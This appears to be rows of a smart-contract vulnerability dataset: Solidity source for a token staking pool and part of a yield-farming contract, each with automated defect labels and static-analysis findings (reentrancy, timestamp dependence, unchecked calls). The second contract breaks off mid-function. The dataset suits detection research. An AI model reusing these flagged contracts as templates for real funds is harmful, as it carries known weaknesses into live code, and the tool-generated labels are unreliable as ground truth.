* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/IRewardDistributionRecipient.sol
pragma solidity ^0.5.0;
contract IRewardDistributionRecipient is Ownable {
address public rewardDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardDistribution() {
require(_msgSender() == rewardDistribution, "Caller is not reward distribution");
_;
}
function setRewardDistribution(address _rewardDistribution)
external
onlyOwner
{
rewardDistribution = _rewardDistribution;
}
}
// File: contracts/CurveRewards.sol
pragma solidity ^0.5.0;
interface BENTO {
function bentosScalingFactor() external returns (uint256);
}
contract LPTokenWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public pnk = IERC20(0x93ED3FBe21207Ec2E8f2d3c3de6e058Cb73Bc04d);
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
pnk.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
pnk.safeTransfer(msg.sender, amount);
}
}
contract BENTOPNKPool is LPTokenWrapper, IRewardDistributionRecipient {
IERC20 public bento = IERC20(0x8a727D058761F021Ea100a1c7b92536aC27b762A);
uint256 public constant DURATION = 5184000; // ~60 days
uint256 public starttime = 1599580800; // 2020-09-08 16:00:00 (GMT +00:00)
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
modifier checkStart() {
require(block.timestamp >= starttime,"not start");
_;
}
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply())
);
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
// stake visibility is public as overriding LPTokenWrapper's stake() function
function stake(uint256 amount) public updateReward(msg.sender) checkStart {
require(amount > 0, "Cannot stake 0");
super.stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) checkStart {
require(amount > 0, "Cannot withdraw 0");
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public updateReward(msg.sender) checkStart {
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
uint256 scalingFactor = BENTO(address(bento)).bentosScalingFactor();
uint256 trueReward = reward.mul(scalingFactor).div(10**18);
bento.safeTransfer(msg.sender, trueReward);
emit RewardPaid(msg.sender, trueReward);
}
}
function notifyRewardAmount(uint256 reward)
external
onlyRewardDistribution
updateReward(address(0))
{
if (block.timestamp > starttime) {
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(DURATION);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(DURATION);
}
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(DURATION);
emit RewardAdded(reward);
} else {
rewardRate = reward.div(DURATION);
lastUpdateTime = starttime;
periodFinish = starttime.add(DURATION);
emit RewardAdded(reward);
}
// avoid overflow to lock assets
uint256 check = DURATION.mul(rewardRate).mul(1e18);
}
}
| [{"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["731", "730", "726"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["630"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["604", "740"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["320", "301", "286", "308"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["711"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["722", "723", "663", "648"]}] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"BENTOPNKPool.sol": [447]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"BENTOPNKPool.sol": [634]}}, {"check": "pragma", "impact": "Informational", "confidence": "High", "lines": {"BENTOPNKPool.sol": [591]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BENTOPNKPool.sol": [480, 481, 482, 483, 484, 485, 479]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BENTOPNKPool.sol": [50, 51, 52]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BENTOPNKPool.sol": [65, 66, 67, 68]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BENTOPNKPool.sol": [528, 529, 530, 527]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BENTOPNKPool.sol": [516, 517, 518, 519, 520, 521, 522, 523, 524, 525]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BENTOPNKPool.sol": [224, 225, 226, 227]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BENTOPNKPool.sol": [256, 257, 254, 255]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BENTOPNKPool.sol": [457, 458, 459]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BENTOPNKPool.sol": [208, 209, 207]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BENTOPNKPool.sol": [532, 533, 534, 535]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"BENTOPNKPool.sol": [727]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"BENTOPNKPool.sol": [740]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BENTOPNKPool.sol": [315, 316, 317, 318]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BENTOPNKPool.sol": [289, 290, 291]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BENTOPNKPool.sol": [324, 325, 326]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BENTOPNKPool.sol": [41]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BENTOPNKPool.sol": [340]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BENTOPNKPool.sol": [73]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BENTOPNKPool.sol": [490]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BENTOPNKPool.sol": [591]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BENTOPNKPool.sol": [419]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BENTOPNKPool.sol": [262]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BENTOPNKPool.sol": [232]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BENTOPNKPool.sol": [567]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"BENTOPNKPool.sol": [555]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"BENTOPNKPool.sol": [483]}}, {"check": "events-access", "impact": "Low", "confidence": "Medium", "lines": {"BENTOPNKPool.sol": [585]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"BENTOPNKPool.sol": [585]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BENTOPNKPool.sol": [581]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"BENTOPNKPool.sol": [256, 257, 258, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"BENTOPNKPool.sol": [698]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"BENTOPNKPool.sol": [713]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"BENTOPNKPool.sol": [703]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"BENTOPNKPool.sol": [692]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"BENTOPNKPool.sol": [657]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"BENTOPNKPool.sol": [723]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"BENTOPNKPool.sol": [708]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 604, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 631, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 317, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 720, "severity": 1}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 581, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 41, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 73, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 232, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 262, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 340, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 419, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 490, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 567, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 591, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 274, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 606, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 607, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 505, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 601, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 436, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 509, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 513, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 524, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 529, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 534, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 555, "severity": 3}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 447, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 479, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 479, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 479, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 480, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 480, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 480, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 480, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 483, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 483, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 483, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 484, "severity": 1}] | [{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"reward","type":"uint256"}],"name":"RewardAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"reward","type":"uint256"}],"name":"RewardPaid","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Staked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Withdrawn","type":"event"},{"constant":true,"inputs":[],"name":"DURATION","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"bento","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"earned","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"exit","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"getReward","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"lastTimeRewardApplicable","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"lastUpdateTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"reward","type":"uint256"}],"name":"notifyRewardAmount","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"periodFinish","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"pnk","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"rewardDistribution","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"rewardPerToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"rewardPerTokenStored","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"rewardRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"rewards","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_rewardDistribution","type":"address"}],"name":"setRewardDistribution","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"stake","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"starttime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"userRewardPerTokenPaid","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}] | v0.5.17+commit.d19bba13 | true | 50,000 | Default | false | |||||
SYFP_STAKE_FARM | 0x307b0f06ea422a5918613e07e59476da28cb82d8 | Solidity | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
abstract contract ERC20Interface {
function totalSupply() public virtual view returns (uint);
function balanceOf(address tokenOwner) public virtual view returns (uint256 balance);
function allowance(address tokenOwner, address spender) public virtual view returns (uint256 remaining);
function transfer(address to, uint256 tokens) public virtual returns (bool success);
function approve(address spender, uint256 tokens) public virtual returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public virtual returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
interface ISYFP{
function transferFrom(address from, address to, uint256 tokens) external returns (bool success);
function transfer(address to, uint256 tokens) external returns (bool success);
function mint(address to, uint256 _mint_amount) external;
}
contract SYFP_STAKE_FARM is Owned{
using SafeMath for uint256;
uint256 public yieldCollectionFee = 0.05 ether;
uint256 public stakingPeriod = 2 weeks;
uint256 public stakeClaimFee = 0.01 ether;
uint256 public totalYield;
uint256 public totalRewards;
address public SYFP = 0xC11396e14990ebE98a09F8639a082C03Eb9dB55a;
struct Tokens{
bool exists;
uint256 rate;
uint256 stakedTokens;
}
mapping(address => Tokens) public tokens;
address[] TokensAddresses;
struct DepositedToken{
uint256 activeDeposit;
uint256 totalDeposits;
uint256 startTime;
uint256 pendingGains;
uint256 lastClaimedDate;
uint256 totalGained;
uint rate;
uint period;
}
mapping(address => mapping(address => DepositedToken)) users;
event TokenAdded(address indexed tokenAddress, uint256 indexed APY);
event TokenRemoved(address indexed tokenAddress, uint256 indexed APY);
event FarmingRateChanged(address indexed tokenAddress, uint256 indexed newAPY);
event YieldCollectionFeeChanged(uint256 indexed yieldCollectionFee);
event FarmingStarted(address indexed _tokenAddress, uint256 indexed _amount);
event YieldCollected(address indexed _tokenAddress, uint256 indexed _yield);
event AddedToExistingFarm(address indexed _tokenAddress, uint256 indexed tokens);
event Staked(address indexed staker, uint256 indexed tokens);
event AddedToExistingStake(address indexed staker, uint256 indexed tokens);
event StakingRateChanged(uint256 indexed newAPY);
event TokensClaimed(address indexed claimer, uint256 indexed stakedTokens);
event RewardClaimed(address indexed claimer, uint256 indexed reward);
constructor() public {
owner = 0xf64df26Fb32Ce9142393C31f01BB1689Ff7b29f5;
// add syfp token to ecosystem
_addToken(0xC11396e14990ebE98a09F8639a082C03Eb9dB55a, 4000000); //SYFP
_addToken(0xdAC17F958D2ee523a2206206994597C13D831ec7, 14200); // USDT
_addToken(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, 14200); // USDC
_addToken(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, 5200000); // WETH
_addToken(0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e, 297300000); // YFI
_addToken(0x45f24BaEef268BB6d63AEe5129015d69702BCDfa, 230000); // YFV
_addToken(0x96d62cdCD1cc49cb6eE99c867CB8812bea86B9FA, 300000); // yfp
}
//#########################################################################################################################################################//
//####################################################FARMING EXTERNAL FUNCTIONS###########################################################################//
//#########################################################################################################################################################//
// ------------------------------------------------------------------------
// Add assets to farm
// @param _tokenAddress address of the token asset
// @param _amount amount of tokens to deposit
// ------------------------------------------------------------------------
function Farm(address _tokenAddress, uint256 _amount) external{
require(_tokenAddress != SYFP, "Use staking instead");
// add to farm
_newDeposit(_tokenAddress, _amount);
// transfer tokens from user to the contract balance
require(ISYFP(_tokenAddress).transferFrom(msg.sender, address(this), _amount));
emit FarmingStarted(_tokenAddress, _amount);
}
// ------------------------------------------------------------------------
// Add more deposits to already running farm
// @param _tokenAddress address of the token asset
// @param _amount amount of tokens to deposit
// ------------------------------------------------------------------------
function AddToFarm(address _tokenAddress, uint256 _amount) external{
require(_tokenAddress != SYFP, "use staking instead");
_addToExisting(_tokenAddress, _amount);
// move the tokens from the caller to the contract address
require(ISYFP(_tokenAddress).transferFrom(msg.sender,address(this), _amount));
emit AddedToExistingFarm(_tokenAddress, _amount);
}
// ------------------------------------------------------------------------
// Withdraw accumulated yield
// @param _tokenAddress address of the token asset
// @required must pay yield claim fee
// ------------------------------------------------------------------------
function Yield(address _tokenAddress) public payable {
require(msg.value >= yieldCollectionFee, "should pay exact claim fee");
require(PendingYield(_tokenAddress, msg.sender) > 0, "No pending yield");
require(tokens[_tokenAddress].exists, "Token doesn't exist");
require(_tokenAddress != SYFP, "use staking instead");
uint256 _pendingYield = PendingYield(_tokenAddress, msg.sender);
// Global stats update
totalYield = totalYield.add(_pendingYield);
// update the record
users[msg.sender][_tokenAddress].totalGained = users[msg.sender][_tokenAddress].totalGained.add(_pendingYield);
users[msg.sender][_tokenAddress].lastClaimedDate = now;
users[msg.sender][_tokenAddress].pendingGains = 0;
// transfer fee to the owner
owner.transfer(msg.value);
// mint more tokens inside token contract equivalent to _pendingYield
